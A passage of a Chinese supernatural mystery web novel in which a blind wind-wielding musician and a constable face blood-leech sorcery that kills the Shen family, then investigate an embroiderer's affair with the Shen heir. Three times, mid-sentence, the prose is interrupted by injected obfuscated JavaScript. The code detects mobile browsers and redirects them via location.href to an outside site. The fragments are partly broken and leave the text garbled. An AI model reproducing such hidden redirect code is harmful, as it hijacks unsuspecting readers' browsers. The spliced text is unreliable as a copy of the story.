陆秉瞳孔紧缩,一颗心差点从嗓子眼儿里蹦出来,这瞎子看不见,但陆秉却看得清清楚楚,那妇人张大嘴,瞪着快要脱框的血红双眼,就在周雅人靠近的瞬间迅速枯萎了下去。 陆秉眼睁睁目睹这瞎子在什么都看不见的情况下走向险境,一嗓子急吼出声,同时奋不顾身地朝对方猛扑过去:“别靠近她!危险!” “别……”周雅人压根儿来不及出声阻止,身后人已经朝他扑来了,他不得不分神抬起左手,当胸一掌把陆秉拍飞出去。 陆秉难以置信瞪大眼,没料到自己的奋不顾身居然会遭来一击掌风,胸口顿时一阵闷痛。 但不容他计较,因为下一瞬周雅人就握住了妇人的手,快如闪电般一提,动作灵巧之余带着一股刚猛锋利的霸道劲儿,那老妇的衣裙连着人皮骤然从骨架上剥离出去。 衣服和人皮扒开,白森森沾着血色的骨架裸露出来,上头爬满了血红血红的虫子,正啃噬着骨头上残留的一点血肉。 被拍飞出去的陆秉砸在俩衙役身上,目睹这一幕,受到了强烈的冲击和巨大刺激。两衙役双手一抖,没能捞稳陆秉,反被砸倒在地。 周雅人头也不回,手中律管蓦地翻转,语调肃杀:“知道危险就带人全部撤出去,别在这儿添乱。” 陆秉瞪着地上那堆干柴似的骨架,聋了似的愣在当场。 那些蠕动的虫子啃噬血肉后涨大数倍,个个血红透亮,呈圆柱形,如小指般粗细。所过之处,血肉被啃噬殆尽,只余下一具森然白骨。 揭开人皮之后,红色的虫子便暴露在众目睽睽之下。 “嗷嗷嗷……那……那是什么……”衙役嚎叫着往后蹬腿。 黑子屁滚尿流爬行到边上:“虫……虫子……” 眼见那堆恶心的虫子啃完一个大活人,从白骨爬向周雅人,陆秉吓得面无人色:“雅人……” 周雅人广袖一拂,拢了把腥风,手中的律管从腥风中穿过,悠扬地响了一声,四周的风向陡然逆转,往庭院的中心流窜汇聚,冲开了涌向周雅人的血色虫子。 方道长便是在此刻赶到沈家,刚进门就被飓风掀了一把,树叶和门帘簌簌作响,到处尘土飞扬,他盯着院中手持律管的青衣客发了会儿怔,随着那人扬起手,风向来去皆由他掌控。 “御风术。”方道长瞠目,几乎难以置信,“他是不是眼睛看不见呐?” 陆秉不悦蹙眉:“看不见怎么了?!” 方道长一只手摔在另一只手的掌心上,摔得“啪”响,有点兴奋过头:“看不见就对咯!” 陆秉的脸顿时一黑:“有你这么见不得人好吗?!” 可不是见不得人好,其实方才在鬼衙门相遇时,方道长便觉察到这青衣客目光涣散,但未作他想,结果对方竟真是个瞎子,还会御风,这不就对上号了吗。 方道长激动不已:“他他他,他是瞽师,听风知?!” 陆秉闻声回头,也有点诧异:“你居然知道?” 他当然知道,普天之下,能御风者仅此一位:“他真的是长安那位瞽师?听风知?” 瞽师乃宫中盲人乐官,他们身上都有一个共同的特质——耳聪目盲。 因为瞽师双目失明,所以听觉尤为敏锐,对乐律的感知力更胜常人,除了祭祀之礼的歌舞献乐,还掌管律器的制作和调整,靠耳力精准修订律器的音律。 其中周雅人又最为特殊,他听力卓绝,耳朵的辨析能力极为精湛,能听八风之音,探风气之奥义,判吉断凶,引得天子赞赏有加,御赐“听风知”这一名号,并声名远播。 更有甚者言,听风知能以耳通神,听协律而观季,审清浊,知天时,掌天道,为此有些推崇者称其为上古圣人。 因为蔡邕在《月令章句》中提过:“上古圣人,本阴阳,别风声,审清浊。” 陆秉以前跟周雅人交好,觉得他除了耳朵无比好使之外,挺正常一个人,本事绝对有,是位能人异士,但肯定没传言中那么玄乎,也并不端得高深莫测,更不装神弄鬼神神叨叨,便觉得那帮人大多都有溜须拍马的嫌疑。 但如今看来,似乎不是别人吹嘘,而是周雅人压根儿没在他面前炫过技,以前跟他切磋的仅仅只是拳脚功夫罢了,从来没露真招儿。 陆秉思绪万千之际被方道长大力拽了一把,避开横冲直撞而来的人。 “啊啊啊啊啊……” “救命啊啊啊啊……” “虫子啊……” 惊叫四起,原本躺在地上的几具干尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295611|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中钻出无数条红色血虫,迅速向四处扩散,攀上其中一个仆人的脚踝,吸附着扎进肉里,蠕动着往血肉里深埋。 他情急之下伸手去拽,血虫被拉扯变长,又冰又滑又黏腻,死死勾咬住他的血肉,根本拽不出来。 仆人声嘶力竭地叫着救命,眼见这条恶心的虫子已经钻进去一大半,无形中突然甩至一道风刃,将他那条钻进肉里的虫子切成两半,一半掉在地上蠕动,另一半却还在往里钻埋,于是无形中有一道风刃接踵而至,利落将血虫剜除。 仆人后知后觉发出一声惨叫。 这边俩衙役也一个赛一个能嚎,死命在原地蹦跶,去跺那些爬到脚边的血色虫子,嗓子都喊劈叉了,腿也快跺麻了。危急之际,数道叶片如利刀般杀来,直接砍死一多半。 周雅人长袖一摆,紧接着一阵龙卷风将这些断成两截的虫子全部卷走,只留下数滩爆浆的血迹。 众人惊心动魄,死里逃生,方道长却在那心潮澎湃:“御风术啊,这就是传说中的御风术啊,上古绝学御风术啊。” 也得亏现在没人注意他,方道长双眼发直地盯着周雅人的身影,盯着他一举一动,一呼一吸,都仿佛在呼风唤气,他身上的气劲窜行,衣袂飞扬,哪怕连根头发丝都有风在流动。 周雅人足踏长风,身姿迅疾地穿过庭院,御风卷扫过几具被啃噬的尸骨。 方道长眼疾手快拖着陆秉靠边站,把场子给人空出来:“退后退后。” 陆秉甩开他的手:“干什么你?!” 方道长很会审时度势:“靠边站,别碍事儿!” 疾风从陆秉的面门掠过去,那力道仿佛被当场扇了他一巴掌,不响,但是有点疼。 陆秉差点要抬手摸摸脸,余光却觑见一个落拓的身影,隐约有些熟悉,陆秉侧目看过去,只见那人披头散发,身上披挂着一件血迹斑斑的里衣,跌跌撞撞摔在地上,然后就再也爬不起来了,只能一点一点在地上爬行,朝庭院内一具干瘪的尸骨爬过去,喉咙里呜咽着,隐约在喊:“……爹……娘……爹……娘……” 那声音沙哑极了,仿佛气管被切开过一道口子。 令陆秉万分愕然的是,那人在地上爬行时,露出的两条胳膊上长满了密密麻麻的脓疮,而每个溃烂的脓包上都有一个不大不小的孔眼,让陆秉立刻想起昨晚在街上遇到那个撞到自己的人。他以为此人身染恶疾,所以才会长这么多脓疮,并且打发那人去保和堂找何郎中治病。 那人此刻却突兀地出现在沈宅,一点点爬向其中一具尸骨,那尸骨上爬出几只血虫,迅速蠕向男子,爬上他胳膊,从一个个张开的孔眼钻进脓疮里。 陆秉一阵恶寒。 黑子差点语无伦次:“进……钻……钻进去了……” 男子却无动于衷,好像这本身就是他身体里的东西,那些脓疮就像一个个铸好的巢穴。 周雅人握着律管,周身的气劲逐渐消退下去,他闻着风里那股似曾相识的腥气,沉声问了一句:“是养在你身体里的血蛭吗?” 14.断气了 哧溜一下,男子眼睁睁盯着血蛭的尾巴尖完全埋入脓疮,痴怔了般。 他既不惊慌,也没做任何挣扎与反抗,因为知道无法摆脱,就只能认命般看着,直到听见近前人问话:“是养在你身体里的血蛭吗?” 男子仰起涕泪横流的脸,愣了好久,才虚弱无比地抬起那只长满恶疮的手,缓缓伸向周雅人,哽咽道:“救……救救我……” 周雅人毫不避闪,朝他伸出手去。 男子惶恐地瞪大双目,盯着那只朝自己伸来的手,掌心朝上,骨节纤长,白净的食指指尖有一道细小的划伤。男子瞳孔几番紧缩颤抖,因为这是唯一一个对他不避不闪,也不露丝毫嫌恶之色的人。 就在彼此指尖相触的瞬间,男子骤然缩回手,整个人惧怕的往后退缩,并语无伦次地摇着头:“不……不行,别,别靠近我,你别靠近我,走……走开,快走开。” 边说边往后蹬腿,不断远离面前这个陌生人,那样子很是胆怯惧怕。 周雅人靠前一步,像是怕吓到对方,声音很轻地问:“是谁养在你身体里的?” 男子见他靠近,更是惊慌失措,连滚带爬撞开身后房门,嘴里念叨着“别过来”,慌不择路踢到门槛摔进屋,然后狠狠关上门,插上门闩,让自己躲藏起来,将周雅人隔绝在外。 “走,走,它们饿了,会出来吃人的,会吃空你们的。” 门缝里溢出低哑的声音,听得周雅人蹙眉,他没有贸然上前惊扰里头的人,转向陆秉:“问问沈家的人,他是什么人?” 沈远文。 正是沈家那位不知所踪的大少爷,昨晚突然自己回来了,一开始门房没认出来人,还将他当作讨饭的乞丐驱赶了几次。 幸而被办事回来的管家撞见,莫名觉着有几分熟悉,便上去仔细一瞧,狠狠吃了一大惊。 这大半个月不知沈远文去了哪里,又在外面经历了什么,脖子和胳膊上长满了恶疮,吓得原本伺候他的那几个仆人不敢靠近,唯恐是什么要传染的可怕怪病。 如今卯时已过,天光大亮,赶来的官差驱散开围观的百姓,以免他们靠拢沈家。 “又出人命了。” “沈家死了好多人啊,我看到官差抬出来好几具尸体。” “沈老爷和老夫人也丧命了吗?” “尸体脸上都盖着白布,看不着脸呢。” “方才打更的人说,他刚要收工回家睡觉,就听见了惨叫声。” 百姓没办法靠近,也不愿意就此离去,便三五成群地聚集在远处猜测议论。 陆秉等人站在回廊下,询问一个知情的沈宅女婢。 她是专门在大少爷院中伺候的,一张小脸吓得惨白,到现在都没能回升一点血色,说话也战战兢兢,肩膀一直在哆嗦:“官爷,我是真的害怕,所以一直都不敢靠太近,就去厨房给少爷烧热水,只有夫人和老爷敢在屋里守着少爷,所以我不知道少爷清醒的时候说过什么话,再进屋的时候他已经昏过去了。后来管家请了老郎中来给少爷瞧病,可他那手腕上都是一个个鼓起来的恶疮,连个切脉的地方都找不到。” 陆秉不禁想起沈远文那只拽过自己的手,心中漫过一阵难以自抑的不适。 女婢瑟瑟发着抖:“老郎中在屋里瞧了半晌,却始终瞧不出少爷害的什么恶疾,待郎中解开衣袍,就见少爷那身上,那身上密密麻麻全都长满了恶疮。杏果那么大个儿,没有一处好地方,还都流着脓血。又捂在袄子里,不知道捂了多久,有股很浓的腥臭味,当时连老郎中都吓了一跳,更别说我们。” 周雅人追问:“然后呢?” 女婢怯生生看他一眼,眼皮立刻压下去,不敢正视一般。 陆秉道:“什么病症,你仔细说。” 女婢磕巴了一下:“然、然后,老郎中斟酌许久,诊断说是痈疽之症,因邪毒所生,已致肉腐,后化腐成脓,脓血淤积,导致毒痈溃破。郎中好像……好像就是这么说的。” 她不太确定似的看了一眼旁边的老管家,老管家是有学问的人,对郎中的话记得清楚些,便答:“对,我记得何郎中当时说少爷热气淳盛,什么筋髓枯,内连五脏,血气竭,还有什么……胫骨良肉皆无余……” 听到此,周雅人微不可察的蹙了下眉头。 婢女续道:“这病需先浸泡药浴两个时辰,然后进行施针,用砭石排脓。郎中给开了方子,老爷便立刻吩咐人抓了药回来让我煎熬,给少爷泡药浴,几乎忙了一整宿。 直到五更天的锣鼓声响过之后,我去厨房熬完最后一锅药汤给少爷泡上。 看见老郎中从箱子里取了砭石替少爷排脓,结果,结果砭石居然从脓疮里刮出来一条红色的虫子——” 女婢说到此,瞪着惊恐的双眼,肩膀抖得越发厉害:“太可怕了,好多虫子,从少爷身上钻出来好多虫子,红色的虫子,钻进了老爷身体里,老爷就——” 之后发生的事,赶到的陆秉等人亲眼目睹,个个都心有余悸。 此时有衙役走过来,跟陆秉汇报沈家这一遭总共死亡七人,沈家老爷老夫人双双丧命。 陆秉问:“沈少爷的妻子呢?” 旁边老管家抹了把额头,大寒天的,他一直都在冒冷汗,后怕又十分虚弱地回答:“少夫人刚才吓晕过去了,在厢房还没醒呢。” 周雅人问:“她昨晚不在沈少爷的房中照料吗?” 毕竟夫妻一场,按理说丈夫失踪归来,又生重疾,做妻子的应当在床前照料才对。 管家道:“少夫人有孕在身,老爷老夫人不知道少爷在外头得的什么怪病,怕病气过到少夫人身上,对肚子里的孩子不好,就让她先避开了。” 黑子临时跑了一趟保和堂,呼哧带喘地把落在药铺的衣服带来了。 陆秉示意地扬了扬下巴:“拿给刘管家看一看,这是不是沈少爷离家前穿的衣服?” 黑子递过去的,正是从鬼衙门的后宅子搜出来的那件鹅黄色衣袍。 管家接过来展开,脸色瞬间变了变:“这……?” 他看着极相似,却又不怎么确定,便让那位一直伺候大少爷的女婢过来细看。 这女婢在少爷院中已经有些年头,日常起居都由她亲自照料,自家少爷的衣裳配饰自然一眼就能认出来。 女婢连连点头:“是少爷的。” 管家疑问:“陆捕头,这衣服是从哪里找到的?” 陆秉没打算隐瞒:“鬼衙门。” 闻言老管家脸色大变,震惊地瞪起双眼:“什么?少爷,少爷怎么……怎么会在鬼衙门?!” 陆秉也很想知道,沈少爷怎么会在鬼衙门?再思起后衙现场捆绑的痕迹,陆秉有理由怀疑这位沈少爷极大可能是被人绑了。 至于是何人所为,他心里也有一个大概的猜测,于是问老管家:“不知管家认不认识孙绣娘?” 老管家还没从沈少爷在鬼衙门的震惊中返回神来,一时没跟上陆秉突然转变的话茬:“什么?” “就是那秦老二的发妻。” 老管家一愣。 陆秉还注意到,一旁战战兢兢的女婢瞬间变了脸色,他便转问那贴身伺候沈少爷的女婢:“你应该认得这位孙绣娘吧?” 女婢脸色煞白地张了张嘴,没能出声,倒是老管家搭腔:“认得,她绣工好,之前在沈家的绸缎庄子里做些绣活儿,因为针法比较独特,少夫人特别喜欢她绣的花样,所以招她到家里来过几次。” 陆秉自动跳过老管家口里的少夫人:“是么,但我最近听到一些关于沈少爷跟这位孙绣娘的传言,管家能不能跟我们说说,他俩私下里走得近么?” “这……”老管家一时间有些无措,凄然泪下,“陆捕头,现在沈家出了人命啊,死了这么多人,老爷老夫人的尸骨还躺在那里没收殓,你怎么还有闲工夫跟我打听这些?” 下一刻,那位被分派去鬼衙门协助收尸的方道长佐证了陆秉的猜测。 方道长此时气喘吁吁赶回来:“陆捕头,确认了,昨晚死在‘阎罗殿’的女子正是孙绣娘。” 陆秉不出意料:“这么说,极大可能是孙绣娘绑了沈少爷,然后一直把人藏匿在无人敢进的鬼衙门。” 想起昨夜发生在‘阎罗殿’的那一幕,陆秉后脖子就嗖嗖冒凉风。 老管家难以置信地愣在当场:“……陆捕头,这又是怎么回事?” 陆秉摒除那些瘆人的杂念,强行镇定下来:“我不是正要问你们么,这孙绣娘跟沈少爷之间有什么恩怨情仇?” “我,我也不是很清楚啊……” 老管家话未说完,就听东屋传出响动,类似椅凳摔倒的声音。那正是沈少爷所在的房间,沈家一众仆人犹如惊弓之鸟,齐齐转头望去。 周雅人耳朵一动,顺手抽了陆秉别在腰间的匕首掷出,刺破窗纸截断了悬梁的白绫。 且听扑通一声,所有人并不知道屋里头究竟发生了什么。 周雅人往前走,一边对陆秉交代:“让大家都撤出去,我过去看看。” “怎么了?” “沈少爷寻短见了。”周雅人几步跨上台阶,用了几分气劲才震开门闩。 陆秉紧跟其后,就见沈远文半死不活地躺在地上抽搐,脖颈上还缠着被割断的白绫。 “你别进来。”周雅人撂下话,便自顾迈进屋,在沈远文身前蹲下身,并指探其颈脉。 沈远文脉象紊乱,浑身抽搐不止,面容涨红发紫,从七窍溢出鲜血,喉管里发出“咯咯”之声。 陆秉警惕地注视着沈远文:“他怎么了?怎么会这样?上个吊怎么还七孔流血了?是服毒了吗?” 身侧响起方道长的声音,他观摩道:“应该是体内的血蛭反噬宿主了吧。” “反噬?”陆秉恶寒道,“那些恶心的虫子吗?反噬宿主会怎样?” 方道长说:“会死。” 陆秉脸色一变,生怕他下一刻就死了,着急发问:“沈少爷,你是被孙绣娘绑在鬼衙门的吗?” 孙远文喉咙里仿佛卡着一大口浓血,面目狰狞地瞪着血红的双眼,极力张大嘴,却根本答不出来。 周雅人用力按住他颈部穴位,沉声问:“是孙绣娘在你身上种的血蛭么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305319|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >因为目盲,所以他根本没看见孙远文张大的嘴里,有几条血红的虫子在喉咙口蠕动,已经咬烂了孙远文的舌根。 扑面而来的是一股浓烈刺鼻的腥臭,与此同时,一条血线从孙远文的口中激射而出,直逼周雅人面门,后者微一偏头,并指夹住了那条射出的血蛭。 陆秉倒抽一口冷气,瞪着那条在周雅人两指间挣动的血蛭,头皮都麻了。 这么恶心危险的玩意儿,他怎么还敢上手抓的?! 周雅人稍一施力,这玩意儿直接爆体而亡,在他指尖化作一摊血水,滴落在沈远文的衣襟上。 周雅人压了一下手指,指腹按住的脉搏骤然停止:“断气了。” 陆秉惊愕道:“死了?” 方道长也有些诧异:“就这么死了,那……” 不容对方多言,周雅人猛地抬起头:“陆秉,匕首给我。” 陆秉立刻抽了匕首抛过去:“你要干什么?” 周雅人稳稳接住,趁尸身还有余温,他迅速扒光了沈远文身上的衣物:“切开看看。” 见到满身挤满脓疮的身体时,陆秉和方道长扶着门框差点儿吐了。 那是真正的千疮百孔,每一颗溃烂的脓疮顶端都有一个被虫子钻过的小孔洞。 陆秉干呕了几声,简直不堪入目:“这哪是什么痈疽之症?!” 周雅人握着匕首,将刀尖抵在沈远文的腹部,划破了一道脓疮,扎死了穴居脓疮内的一条血蛭。 好在周雅人眼盲,对这一幕眼不见为净,面上显得尤为淡定从容:“何郎中诊断没错,这确实是痈疽之症,只不过……”他一刀切进沈远文的肚腹,尚未凝结的鲜血缓缓流出,“只不过有人在他生痈之时种下了血蛭。” 陆秉不理解:“什么鬼东西?” 周雅人切开生满痈疮的肚皮:“据说这是源于滇南的一种邪法,叫作痋术。” 方道长意外道:“贫道本以为那是蛊虫,没承想竟是痋术吗?” 跟巫蛊之术还是有异的,周雅人侧首:“方道长知晓?” 方道长摆手表示:“不晓得不晓得,就是听过滇南的三大邪术,蛊毒,降头和痋术,都是害人的东西,但这痋术尤为神秘,极少流传。” “本以为方道长了解此邪术,在下还想请教一二。” “惭愧,贫道也只听传闻中说,古滇国曾利用痋术把奴隶制成魔物来统治周边小国,仅此而已。” 周雅人颔首,这痋术确实鲜为人知:“我也只是略有耳闻,它跟养蛊虫的区别在于,蛊术是把许多毒虫放在一个器物中,使其互相残杀,最后存活下来的毒虫便是蛊。 而痋术是以活人为器皿种入痋引,也就是某种虫卵,再以最残忍的方式将人折磨致死,让受害者产生极大的怨念,然后以亡灵为媒介,将死者的怨念附着于生灵。” 说话间,周雅人完全剖开了沈远文的肚子。 站门口的陆秉和方道长远远看见,胃里翻腾,直接吐了。 且见沈远文的腹腔内壁和脏器上也生了密密麻麻的痈疮,像一颗颗小肉瘤,周雅人看不见,只能用手去感知,他一边触摸内壁一边说:“正如何郎中所言,筋髓枯,内连五脏,血气竭,胫骨良肉皆无余。” 所以他便认为,痈疽不光只在表面,沈远文很有可能还生了内痈,因此决定开膛破肚。 陆秉刚吐完一轮,好死不死,抬头就看见周雅人伸手在仔细摸那些痈疮,顿时忍不住弯下腰,又是一顿“呕”。 周雅人毫不在意门外两位呕吐不止的人,自顾摸索道:“内痈生于脏腑,心、肝、肺、脾、肌肉筋骨间皆生疮肿,只是不像外痈,这些内痈还未溃破,但脓疮里头裹着的,应该是还未成型的虫卵。” “虫虫虫卵……”陆秉实在受不住这种刺激,说完又开始吐,胆汁都快吐出来了。 周雅人思索道:“所谓肉腐出虫,鱼枯生蠹,有人在他生痈时种下痋引,痈疮久病后会至化脓肉腐,然后养出这些血虫,我想沈少爷身上的痋术,应该是存在这样一种原理。” “肉腐出虫,”方道长低喃,瞬间联想到那些腐烂的尸体上长出来的蛆虫,再结合眼前这一幕,这可是活人生虫啊,立刻以手抵住胃部,极力压制住那股翻涌至喉头的恶心感,“你怎么……怎么确定……” “确定什么?虫卵么?一摸便知道了。” 陆秉很想说:大哥,你快别摸了。但是他反胃太厉害,一时间张不了这个口。 方道长费劲地挤出一句完整话来:“你怎么确定是痋术?” 因为“风动虫生”,因为他是听风知,他自有判断,还因为——周雅人觉得似乎没必要如此解释,最后道:“因为那些血蛭携带了亡灵的怨念。” 周雅人用那双没有焦距的双目“注视”着方道长,一字一顿道:“是来自于鬼衙门死牢地底的怨念。” 方道长蓦地僵住,目瞪口呆地望着周雅人,后者却已经扭了头,发话道:“陆秉,找些灯油来,我必须在宿主冷却前将尸体焚烧掉。” 以免沈远文体内的血液完全冷凝,血蛭失去温床,便会倾巢而出。 15.合鬼灵 尸体被布在一处偏僻的后院焚烧,除周雅人之外,其他人员不得入内。 但是方道长不愿意离开,弓腰塌背的扒住虚掩的门缝朝里窥视,陆秉客气的薅了他几下,都被方道长挥开了手:“让我看看陆捕头,我就在这儿看,你让我长长见识。” 仅仅烧个尸而已,陆秉不理解:“你长什么见识?” 方道长视线一刻都不肯从门缝中移开:“我听闻长安这位瞽师听风知,能以耳通神听鬼声,灵得很。” 陆秉脸色本来就白,此刻完全还没缓过来,从对方话语中惊悚地捕捉到一个关键字:“鬼?” 方道长目不转睛盯着院中周雅人的身影,没工夫瞧陆捕头苍白的面色,继续道:“我瞧听风知似乎在地上画一个符阵,应该就是准备做这样的仪式吧。” 昨晚刚经历了噩梦似的一夜,陆秉瞪直眼瞧着门缝中一闪而过的人影:“你是说他要招鬼吗?” 方道长压根儿没听他的,自顾道:“你看他画的这个阵,乾、坤、巽——诶,我怎么觉着有点像八卦阵啊……” 方道长望眼欲穿也只能瞅见一隅,恨不得把圆溜溜的脑袋挤进门缝里看个仔细。 “御风以律,通五行八正之气。”且听周雅人站在巽位之中,喃喃低语,“天地之气,合以生风。” 言罢,小院儿内陡然掀起一阵风。 方道长没看清周雅人的动作,只觉冷风从门缝中渗出来,吹得他忍不住眨了眨眼,神情有些痴怔道:“乾为天,坤为地,巽为风,天地之气,合以生风。” 且见周雅人手持律管,缓缓托举在虚空。 方道长当然知道那是听风知贴身之物,自然也听闻过他以律管候天地之气,故而听声知律,通天地而合神明。 只不过在方道长看来,此刻是通天地而合鬼灵。 而风源似乎来自院中的阵法,更确切地说,是来自阵法中的那具尸身,从每个痈疮的小孔中溢散出缕缕灰黑之气,千丝万缕地在虚空中搅动成风,继而吹响听风知手持的律管。 “那是……”方道长瞠目结舌,“煞气。” 从沈远文尸身上抽离出来的缕缕煞气,所以是煞气成风吹响了律管,然后他看见听风知的耳朵不易察觉地动了动。 方道长迫切地想知道,他听见了什么?是鬼声吗?什么样的鬼声? 陆秉完全看不出任何名堂,整个人都在状况之外,他觉得门缝里溢出一股又一股寒意,忍不住问:“是不是沈少爷的魂魄要来了?” 陆秉话音刚落,面前的木门啪的一声合严实了,震得他俩原地打了个寒噤。 方道长愣愣地想:这是不给看吗? 隔着一道木门依稀能听见细微的音律,不是那种悦耳悠扬的乐声,听上去显得沉闷而压抑,更像是刮进山洞中呼啸的风音,带着股低咆的怨念。 律管毫无节奏的乱音在周雅人听来,像裹着许多纷乱的杂音,被越放越大,像席卷而来的泼天浪潮,竟有些震耳欲聋。 “冤——” 他在庞杂如潮的乱音中捕捉到一个“冤”。 周雅人眉头紧锁,完全沉浸入邪风吹奏律管的喧嚣之中…… 沈远文的尸身足足烧了一个多时辰,陆秉和方道长守在院外,只能看见映照的火光和升腾的浓烟。 直到院门被拉开,周雅人的面色有些白。 陆秉提心吊胆地迎上去:“雅人,怎么样?” 周雅人:“烧干净了,叫人收拾一下吧。” 方道长也凑到其跟前儿,端端正正行了个礼:“在下方正安,久闻听风知大名,今日能够得见,实乃生平之幸啊。” 周雅人:“方道长抬举,虚名罢了。” 陆秉不愿听他俩你来我往的客套,打岔问:“沈远文有回来跟你说什么吗?” 周雅人疑道:“什么?” “你刚才不是在院子里画符阵招沈少爷的……”陆秉话没问完,方道长也急不可耐地打断,他觉得陆捕头这话问得即外行又没水准,遂朝听风知谦恭道:“您方才御风以律,沟通五行八正之气,通天地而合鬼灵,一定听见什么了吧?” 周雅人垂目,耳朵里还有些嗡嗡作响,他沉默须臾,在对方的期许中缓缓开口:“我听见——沉冤。” 方道长不明所以:“什么?” 陆秉也表示疑惑:“沉冤?” 娇生惯养的沈家少爷能有哪门子沉冤,他甚至都没蹲过一天大牢。 哦,是觉得自己死得冤吗?! “二位忘了么,痋术是以亡灵为媒介,将死者的怨念附着于生灵,也就是附着于痋虫,那些血蛭便携着灵怨,又被种在沈少爷体内,因而,让我听见了无以计数的沉冤。” 陆秉反应有些迟钝,心里头还在纠结刚才那一出:“不是沈少爷的鬼魂吗?” 方道长蓦地想起之前对方说的那句:是来自于鬼衙门死牢地底的怨念。 “可是……”方道长有些犹豫不定,“怎么会这样呢?肯定是有人……对!是那个孙绣娘!” 可是孙绣娘也已经死了。 周雅人转向陆秉:“盘问那些人了吗?他们知不知道孙绣娘和沈少爷有什么恩怨?” 陆秉摇头:“我怕你这边出状况,没敢走开。”毕竟真正要烧的是那些可怕的血蛭,又只有周雅人一人守在院内,他实在放心不下。 “现在去问。”周雅人抬手,结果还没触碰到对方,就被陆秉下意识避开了,两人几乎同时开口。 陆秉:“你干嘛?” 周雅人:“你躲什么?” 陆秉问:“你突然伸手过来干什么?” 周雅人:“我现在耳朵里嗡嗡的,听不太准确,想搭把手让你帮我领个路,你躲什么?!” 陆秉实诚道:“你刚才摸了那玩意儿,多膈应人呐。” 闻言,周雅人沉默不语地面对他,那神态显然在说:哦,原来是这么回事。 方道长连忙上前献殷勤:“我来领,我来领,您把手搭我肩上吧。” 陆秉直接搡开方道长:“你别碍事儿。”然后一把拽起周雅人的袖袍就走。 周雅人任他拽着:“不是膈应么?” 陆秉没好气:“少废话。” 他确实也不太想说话。 官署没有处理干净前,沈家上下已经无人敢待了,偌大一个宅院瞬间变得空空如也。 沈少夫人和老管家携着几名家仆暂时安顿在了客栈,周雅人他们寻过去,那沈少夫人正依在床榻边垂泪,模样苍白憔悴,只有一双眼睛哭得通红。 陆秉一开口问话,此女子就开始泣不成声的各种哭诉:“沈家遭此大难,我一个弱小女子,妇道人家,还怀了身孕,以后可怎么办,我该怎么活啊,爹啊,娘啊,相公啊,你们怎么能抛下我和腹中的孩儿……” 越哭越惨,越说越凄凉,最后几乎寻死觅活,要带着遗腹子追亡夫而去。 如此情景,陆秉即便再头铁,也不可能去问人家,相公是不是在外头有个相好这种挨千刀的话。 陆秉想背着主子问下面人,奈何老管家和家仆全都统一口径似的,就只有一句不清楚或不知道,根本问不出任何信息。 陆秉实在没辙儿:“这些人吃沈家的饭,自然要守沈家的口,沈老爷少爷都死了,从今往后就该轮到沈少夫人当家做主,这些下人谁敢嚼她的舌根,还不如去问问那些邻里街坊。” 邻里街坊知道的可就五花八门了,他们去孙绣娘的住处稍一打听,就有好色之徒跳出来接茬:“孙绣娘啊,那小媳妇生得好生标致,水灵儿得很,可是十里八乡难得一见的美人儿,可惜嫁给了秦老二。”真是一朵鲜花插在牛粪上,糟蹋啦,当然最后这句憋在了肚子里, 妇人坐门前的石坎上纳鞋底,一针扎下去,声音也跟针尖儿一样细:“可惜什么可惜,没嫁给你就算可惜呗。” 那斜眼的男人“去”了对方一声:“瞎说什么大实话。” “那今天被乱刀砍死的就该是你了。” “滚犊子,咒我呢。” “老色鬼可不就是短命鬼,见天儿上去瞅别人家的小媳妇,哈喇子流了一下巴,要不要脸了。” 斜眼男老脸一红:“你别胡说八道啊,老子那是去看他两口子在屋里干仗。” 陆秉只不过问了一句斜眼男认识孙绣娘吗,这二人就噼里啪啦斗上嘴了,连忙打岔问:“他们夫妻关系不好么?” 妇人道:“好啥呀,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315355|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上个月,那悍妇还给秦老二的脸和脖子挠了好几道血印子呢,凶得很。” 卖茶汤的老汉给炉子里添了炭,顺势接过话头:“是啊,那血道子在秦老二脸上挂了好些天,谁没看见?!” 斜眼男说风凉话:“一老爷们儿给个小娘们儿欺压成这样,也是真够窝囊的。” 卖茶汤的老汉道:“话不能这么说,那秦老二是个老实人。” 妇人必须说句公道话:“老实人就活该被欺负呀,谁都能欺负,就那码头的王春财,让秦老二帮他劈柴挑水,说好的给半斗米,结果事后却往里头掺了对半的颖壳,真是缺了大德的缺德鬼。” 大家你一言我一语嘚嘚个没完,陆秉很想插话,但是插不上嘴,终于听见斜眼男说:“这还不叫窝囊吗,也怪不得他媳妇儿勾搭上沈少爷。” 于是陆秉追问:“孙绣娘跟沈少爷真有私情?” 斜眼男道:“那肯定的呀,这事儿都快人尽皆知了。” 陆秉:“他俩怎会在一起?” “我说官爷,你这话问的就多余,那孙绣娘在沈家的绸缎庄子里做绣工,她长得又招男人稀罕,跟沈少爷一来二去的,就这么好上了呗。” 